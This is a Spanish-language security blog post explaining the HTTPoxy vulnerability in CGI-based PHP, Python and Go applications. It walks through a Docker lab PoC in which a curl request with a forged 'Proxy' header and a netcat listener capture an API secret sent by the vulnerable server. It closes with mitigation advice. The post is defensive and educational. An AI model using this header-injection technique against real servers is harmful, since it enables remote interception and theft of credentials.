Cómo explotar HTTPoxy en una aplicación PHP vulnerable #Pentest #PHP #HTTPoxy

Esta semana hemos tenido un nuevo caso de vulnerabilidad mediática. HTTPoxy fue detectada por primera vez hace 15 años, por lo que no podemos decir que sea nueva, pero sí que es hoy cuando parece que se ha tomado realmente en serio. El problema es profundo, ya que se encuentra en librerías de código que son utilizadas para realizar peticiones HTTP dentro de una aplicación web. En el caso de que se viera afectada la aplicación por esta vulnerabilidad HTTPoxy todas las conexiones que realice podrían ser espiadas y modificadas.

Figura 1: Cómo explotar httpoxy en una aplicación PHP vulnerable

HTTPoxy ha retomado el escenario a través de aplicaciones basadas en CGI, escritas en PHP - como en el caso del famoso bug CVE-2012-1823 que tantos problemas generó, Python o Go. Han habilitado un Github dónde podemos encontrar diferentes pruebas de concepto, las cuales utilizan docker para montarlas, por lo que simplifica el escenario y aplicaciones a instalar.

Figura 2: GitHub con las PoC de HTTPoxy

La vulnerabilidad reside en cómo se procesan las cabeceras Proxy. En el año 2001, el fallo fue identificado en curl, en el año 2012 en Ruby y en el año 2013 en Nginx. Esta vez les ha tocado el turno a los lenguajes PHP, Python y Go. La vulnerabilidad tiene un CVSS, en base score, de 8,1. Para mayor detalle se puede encontrar más información en los siguientes CVE:

• CVE-2016-5385, correspondiente a PHP.
• CVE-2016-5386, correspondiente a Go.
• CVE-2016-5387, correspondiente a Apache HTTP Server.
• CVE-2016-1000110, correspondiente a Python.

¿Cómo funciona?

Cuando un atacante quiere explotar la vulnerabilidad necesita forzar que las aplicaciones web del servidor se crean que el header que obtienen con valor Proxy es la nueva dirección del servidor al que se tienen que conectar para enviar todas las conexiones HTTP. En otras palabras, es un abuso de la cabecera Proxy. Todo esto es provocado por un conflicto de nombres. En otras palabras, si nosotros como clientes malintencionados del servidor enviamos una cabecera “Proxy”, puede suceder que algunas implementaciones CGI creen una variable de entorno HTTP_PROXY, lo cual provoca que se anule la variable real que tiene el mismo nombre. Por esta razón decimos que la vulnerabilidad, realmente, es un conflicto de nombres que genera una sobreescritura del valor original - que podría ser null -.

Figura 3: Esquema de explotación de bug de HTTPoxy

Entonces, si sobrescribimos la variable de entorno HTTP_PROXY por una dirección bajo nuestro control podremos colocarnos en medio de la comunicación del servidor y cualquier punto con el que se comunique. Es decir, estamos realizando un Man in the Middle remoto. ¿Qué podemos hacer? En al PoC viene una pequeña demostración del robo de un Secret de una API, es decir, se muestra como se modifica el Proxy del servidor web en remoto y se consigue redirigir las peticiones que hace el servidor contra una API y capturamos el “secreto”.


Figura 4: BlackHat 2012 "Owning Bad Guys {and mafia} using JavaScript Botnets"
Aunque hemos hecho solo la captura del secreto los ataques de man in the middle vía Proxy permiten hacer de todo, como ya hicimos en la época de Informática64 con el trabajo de "Owning Bad Guys {and mafia} using JavaScript Botnets" en donde aprovechamos un servidor Proxy para infectar máquinas y crear una JavaScript Botnet o en el caso de Evil FOCA, donde se hacen ataques basados en las variables de Web Proxy Auto Discovery para hacer ataques de SSLStrip. Si estás en medio, puedes hacer todo lo que quieras.

Nuestra PoC de HTTPoxy para automatizar Faast

Mi compañero Ioseba Palop y yo montamos un entorno para probar esto y, posteriormente, añadir un plugin en nuestro sistema de pentesting persistente Faast para detectar esta vulnerabilidad. Como se dijo anteriormente utilizaremos docker para tener los contenedores de lo necesario. Para instalar docker solo tenemos que ejecutar:

apt-get install docker docker.io

Una vez lo tengamos instalado, debemos construir el dock. Para ello descargamos el código de la PoC de HTTPoxy desde Github. Una vez tengamos descargado el código ejecutamos docker build -t fpm-guzzle-proxy, tal y como se puede ver en la imagen.

Figura 5: Build de docker con la PoC de HTTPoxy

Después se descarga y crea el dock debemos ejecutarlo. Para ello utilizamos la instrucción:

docker run -d -p 80:80 –name fpm-test-instance fpm-guzzle-proxy

La sentencia -p 80:80 nos indica el puerto externo de docker y con qué puerto interno se mapea, en ambos casos es el puerto 80. El resultado tras la ejecución se puede ver en la siguiente imagen.

Figura 6: Ejecución de la PoC sobre Docker

Ya tenemos el entorno vulnerable montado, por lo que vamos utilizar la herramienta curl para generar una petición al servidor web y aplicación montada. La instrucción es:

curl -H ‘Proxy: [ip]:[puerto]’ [ip del servidor]

Es muy sencillo de entender lo que estamos haciendo. Nosotros somos el cliente y le estamos diciendo al servidor web que el Proxy es el que nos interese. Si la aplicación web es vulnerable ocurrirá lo comentado anteriormente, se sobrescribe la variable de entorno y cuando el servidor web realice peticiones la enviará al Proxy, es decir, a nosotros en este caso.

Figura 7: Ejecución con curl de la sobrescritura de la cabecera Proxy

Para poder entender que todo esto está funcionando, hemos habilitado un netcat en el puerto 12345, que coincide con la dirección y puerto dónde le dijimos al servidor vulnerable que estaría su Proxy. Como se puede ver en la imagen nos llega una petición POST dirigida a Facebook y que envía algo “secreto”.

Figura 8: Captura del secret en el servidor Proxy malicioso

Hemos modificado el código del cliente PHP que utiliza el servidor vulnerable, ya que como podéis ver en la imagen en los datos que se envían por POST aparece el parámetro ‘secret’. Para realmente ver los datos del POST, debemos cambiar el parámetro ‘secret’ por ‘body’, y posteriormente construir el dock y ejecutarlo de nuevo. Es un pequeño bug que tiene la prueba de concepto.

Figura 9: Modificación del código PHP de la PoC

La mitigación es obligada si eres vulnerable a HTTPoxy. Para llevar a cabo la mitigación se debe bloquear el uso de la cabecera Proxy cuanto antes. Como se ha visto es realmente sencillo caer en esta vulnerabilidad y el impacto y potencial de ésta es muy alto afectando a dos dimensiones de la seguridad como son la confidencialidad y la integridad de la información.

Autores: Ioseba Palop & Pablo González